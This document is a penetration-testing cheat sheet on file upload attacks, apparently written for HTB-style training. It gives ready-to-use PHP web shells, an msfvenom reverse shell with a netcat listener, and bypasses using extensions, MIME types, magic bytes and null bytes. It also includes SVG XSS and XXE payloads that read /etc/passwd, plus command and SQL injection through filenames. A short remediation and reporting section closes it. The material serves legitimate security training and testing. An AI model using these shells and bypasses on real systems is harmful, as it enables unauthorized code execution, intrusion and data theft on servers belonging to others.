File Upload Attacks

🛡️ Methodology Checklist

• Identify upload functionality and accepted file types
• Test basic upload restriction bypass: rename .php → .php.jpg, .pHP, .php5, .phtml
• Content-Type bypass: change Content-Type: image/jpeg in Burp
• Magic bytes bypass: prepend GIF89a; to PHP shell content
• Find upload destination path by reviewing source or using dirbusting
• Access uploaded file to trigger code execution
• If client-side validation only: disable JS or intercept with Burp
• Limited upload (no web execution): use upload for LFI+RFI chain

---

🎯 Operational Context

Use when: File upload functionality exists — bypass extension filters, MIME type checks, and content validation to upload executable web shells. Think Dumber First: First identify what the server accepts. Try renaming .php to .php5, .phtml, .phar. Change Content-Type header to image/jpeg. Add GIF header GIF89a; before PHP code. Try one bypass at a time. Skip when: File upload is to S3/cloud storage with no execution path — stored XSS from uploaded SVG/HTML is the attack instead.

---

⚡ Tactical Cheatsheet

Command	Tactical Outcome
echo '<?php echo "Hello HTB";?>' > test.php	Benign PoC — verify execution before deploying shell
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php	Minimal PHP web shell
msfvenom -p php/reverse_php LHOST=[LHOST] LPORT=[LPORT] -f raw > reverse.php	MSFVenom PHP reverse shell
curl -s "http://[TARGET_IP]/uploads/shell.php?cmd=id"	Trigger uploaded PHP web shell
nc -lvnp [LPORT]	Catch reverse shell
Burp Intruder → extension position on shell.§php§ → web-extensions.txt → uncheck URL-encode	Fuzz for blacklist bypass extension
shell.phtml / shell.php5 / shell.php7 / shell.phar	Common PHP blacklist bypasses to try manually
shell.jpg.php	Double extension — bypass flawed regex that doesn’t anchor to $
shell.php.jpg	Reverse double extension — Apache config executes anything with .php in name
Modify Content-Type: image/jpeg inside multipart boundary	Spoof MIME-type header
echo "GIF8" > shell.php && echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.php	GIF magic bytes — bypass mime_content_type() check
file text.jpg	Verify OS interprets file as GIF (output: GIF image data)
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg	Stored XSS via image metadata
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt	Build image MIME-type wordlist for Content-Type fuzzing

---

🔬 Deep Dive & Workflow

Upload Attack Decision Tree

No filter at all?
└── Upload shell.php directly → trigger execution

Client-side JS only?
└── Rename to .jpg, intercept in Burp, change filename back to .php

Blacklist filter?
├── Fuzz with web-extensions.txt via Intruder (uncheck URL-encode!)
└── Try: .phtml, .php5, .php7, .php8, .phar, .phps

Whitelist filter (only .jpg/.png allowed)?
├── Flawed regex (no $ anchor) → shell.jpg.php
├── Apache executes .php anywhere in name → shell.php.jpg
├── PHP < 5.5 → null byte: shell.php%00.jpg
└── Character injection → bash script generates permutations → Intruder

Content-Type validation?
└── Modify inner boundary header: Content-Type: image/jpeg

Magic bytes validation?
└── Prepend GIF8 to PHP shell
    echo "GIF8" > shell.php && echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.php
    GIF8 appears as garbage at start of output — that's expected!

All above?
└── Combine: GIF8 magic bytes + image/jpeg Content-Type + .php.jpg double extension

Intruder Extension Fuzzing (Critical Steps)

1. Upload a valid image; intercept in Burp
2. Send to Intruder (Ctrl+I)
3. Clear all positions; highlight only the extension: shell.§php§
4. Payloads → Load web-extensions.txt
5. Uncheck “URL-encode these characters” — dots %2e break the test
6. Sort results by Length — different length = bypass found
7. Send winning request to Repeater; replace body with <?php system($_REQUEST['cmd']); ?>

Whitelist Bypass Scripts

# Generate character injection permutations
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '...' ':'; do
    for ext in '.php' '.php3' '.php5' '.phtml' '.phar'; do
        echo "shell$char$ext.jpg"
        echo "shell$ext$char.jpg"
        echo "shell.jpg$char$ext"
        echo "shell.jpg$ext$char"
    done
done > wordlist.txt

Advanced Upload Attack Vectors

# Stored XSS via image metadata
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg
 
# SVG → Stored XSS
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <script type="text/javascript">alert(window.origin);</script>
</svg>
 
# SVG → XXE LFI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
 
# Directory traversal in filename
../../../etc/passwd         ← overwrite during upload
 
# Command injection in filename
file$(whoami).jpg
file`whoami`.jpg
 
# SQLi in filename
file';select+sleep(5);--.jpg

Key Pitfalls

Issue	Fix
File uploaded but executes as plaintext	Directory has exec disabled → need LFI to include it
Intruder 429 errors	Resource Pool → lower concurrent requests to 1
GIF8 garbage in output	Expected — PHP interpreter outputs it as text, rest is your command output
.php%00.jpg null byte fails	PHP 5.5+ → use filter wrappers or magic bytes instead
Windows target blacklist	Blacklist case-sensitive → try shell.pHp, shell.PhP

---

🛠️ Troubleshooting & Edge Cases

Problem	Cause	Fix
PHP shell blocked by extension filter	Extension denylist	Try: .php5, .php7, .phtml, .phar, .php.jpg (double extension)
MIME type check blocks non-image	Content-Type enforced	Change Content-Type to image/jpeg in Burp intercept; keep .php extension
File uploads but web server won’t execute	Upload dir has noexec or wrong PHP	Find where file is stored; upload to a different path or find path with PHP execution
Magic bytes check blocks PHP	File header validation	Prepend GIF89a to PHP file: echo -e 'GIF89a;<?php system($_GET[cmd]); ?>' > shell.php
Uploaded file not accessible	Path unknown	Check response body for file path; try common paths: /uploads/, /files/, /media/, /tmp/; use ffuf to find it

---

📝 Reporting Trigger

Finding Title: Unrestricted File Upload Enables Web Shell Deployment Impact: Bypassing file upload restrictions allows deploying a PHP web shell on the server, providing persistent remote code execution in the web server’s process context with access to all application data and internal network connections. Root Cause: File upload validation implemented as a denylist of extensions or MIME types rather than strict allowlisting and content validation. Uploaded files stored within the web root with PHP execution enabled. Recommendation: Allowlist only required file types. Validate file content, not just extension and MIME type. Store uploaded files outside web root with randomized names. Serve through a dedicated file serving endpoint without execution privileges.

---

🔗 Related Nodes

• LFI_RCE_Wrappers_Log_Poison
• LFI_Path_Traversal_Bypasses
• Web_Proxies_Burp